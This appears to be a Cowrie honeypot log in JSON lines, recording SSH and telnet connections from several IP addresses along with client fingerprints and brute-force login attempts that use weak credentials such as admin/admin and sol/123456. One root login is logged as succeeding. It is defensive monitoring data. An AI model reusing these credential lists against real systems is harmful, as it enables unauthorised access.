{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:10:59.516379Z","src_ip":"103.40.61.98","session":"407c007ffb61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.79155468940735,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:10:59.519566Z","src_ip":"103.40.61.98","session":"407c007ffb61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"3971cb53c762","protocol":"ssh","message":"New connection: 195.178.110.218:43858 (10.17.0.5:22) [session: 3971cb53c762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:12:41.147538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:12:41.151743Z","src_ip":"195.178.110.218","session":"3971cb53c762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:12:41.232535Z","src_ip":"195.178.110.218","session":"3971cb53c762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:12:41.474467Z","src_ip":"195.178.110.218","session":"3971cb53c762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:12:42.555642Z","src_ip":"195.178.110.218","session":"3971cb53c762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.172.192","src_port":51856,"dst_ip":"10.17.0.5","dst_port":22,"session":"0825941856d7","protocol":"ssh","message":"New connection: 134.209.172.192:51856 (10.17.0.5:22) [session: 0825941856d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:13:28.376631Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:13:28.381238Z","src_ip":"134.209.172.192","session":"0825941856d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:13:28.384887Z","src_ip":"134.209.172.192","session":"0825941856d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.172.192","src_port":51860,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aca3c44c0b1","protocol":"ssh","message":"New connection: 134.209.172.192:51860 (10.17.0.5:22) [session: 1aca3c44c0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:13:28.434794Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:13:28.439202Z","src_ip":"134.209.172.192","session":"1aca3c44c0b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:13:28.442449Z","src_ip":"134.209.172.192","session":"1aca3c44c0b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39060,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ae02d6d350","protocol":"ssh","message":"New connection: 195.178.110.218:39060 (10.17.0.5:22) [session: 32ae02d6d350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:15:13.811917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:15:13.815917Z","src_ip":"195.178.110.218","session":"32ae02d6d350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:15:13.890875Z","src_ip":"195.178.110.218","session":"32ae02d6d350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:15:14.115705Z","src_ip":"195.178.110.218","session":"32ae02d6d350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:15:15.196992Z","src_ip":"195.178.110.218","session":"32ae02d6d350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37784,"dst_ip":"10.17.0.5","dst_port":22,"session":"a378559b5005","protocol":"ssh","message":"New connection: 195.178.110.218:37784 (10.17.0.5:22) [session: a378559b5005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:17:52.478699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:17:52.483364Z","src_ip":"195.178.110.218","session":"a378559b5005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:17:52.562844Z","src_ip":"195.178.110.218","session":"a378559b5005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:17:52.799701Z","src_ip":"195.178.110.218","session":"a378559b5005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:17:53.882036Z","src_ip":"195.178.110.218","session":"a378559b5005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":59616,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee69e781a5a3","protocol":"telnet","message":"New connection: 176.65.148.214:59616 (159.203.135.109:23) [session: ee69e781a5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:20:16.206312Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42798,"dst_ip":"10.17.0.5","dst_port":22,"session":"0444bf2baed0","protocol":"ssh","message":"New connection: 195.178.110.218:42798 (10.17.0.5:22) [session: 0444bf2baed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:20:26.602765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:20:26.607220Z","src_ip":"195.178.110.218","session":"0444bf2baed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:20:26.686437Z","src_ip":"195.178.110.218","session":"0444bf2baed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:20:26.926572Z","src_ip":"195.178.110.218","session":"0444bf2baed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:20:28.007805Z","src_ip":"195.178.110.218","session":"0444bf2baed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.419897317886353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:20:46.626044Z","src_ip":"176.65.148.214","session":"ee69e781a5a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42184,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd0070f7ad42","protocol":"ssh","message":"New connection: 195.178.110.218:42184 (10.17.0.5:22) [session: cd0070f7ad42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:23:21.564422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:23:21.568647Z","src_ip":"195.178.110.218","session":"cd0070f7ad42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:23:21.647996Z","src_ip":"195.178.110.218","session":"cd0070f7ad42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:23:21.885405Z","src_ip":"195.178.110.218","session":"cd0070f7ad42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:23:22.970310Z","src_ip":"195.178.110.218","session":"cd0070f7ad42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":26235,"dst_ip":"10.17.0.5","dst_port":22,"session":"18e7cf9f266b","protocol":"ssh","message":"New connection: 2.57.121.25:26235 (10.17.0.5:22) [session: 18e7cf9f266b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:34.294738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:34.299754Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:34.403112Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08081991","message":"login attempt [user/08081991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:34.890743Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08071991","message":"login attempt [user/08071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:35.996899Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08051986","message":"login attempt [user/08051986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:37.105996Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08051985","message":"login attempt [user/08051985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:38.211436Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08051984","message":"login attempt [user/08051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:39.317148Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:24:40.425413Z","src_ip":"2.57.121.25","session":"18e7cf9f266b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":55616,"dst_ip":"10.17.0.5","dst_port":22,"session":"accc38a40e36","protocol":"ssh","message":"New connection: 162.120.6.20:55616 (10.17.0.5:22) [session: accc38a40e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:15.549870Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:15.619144Z","src_ip":"162.120.6.20","session":"accc38a40e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":55630,"dst_ip":"10.17.0.5","dst_port":22,"session":"c301054e0315","protocol":"ssh","message":"New connection: 162.120.6.20:55630 (10.17.0.5:22) [session: c301054e0315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:15.688051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:15.691309Z","src_ip":"162.120.6.20","session":"c301054e0315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:15.760250Z","src_ip":"162.120.6.20","session":"c301054e0315","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qazzxc","message":"login attempt [root/qazzxc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:15.970386Z","src_ip":"162.120.6.20","session":"c301054e0315","protocol":"ssh"}
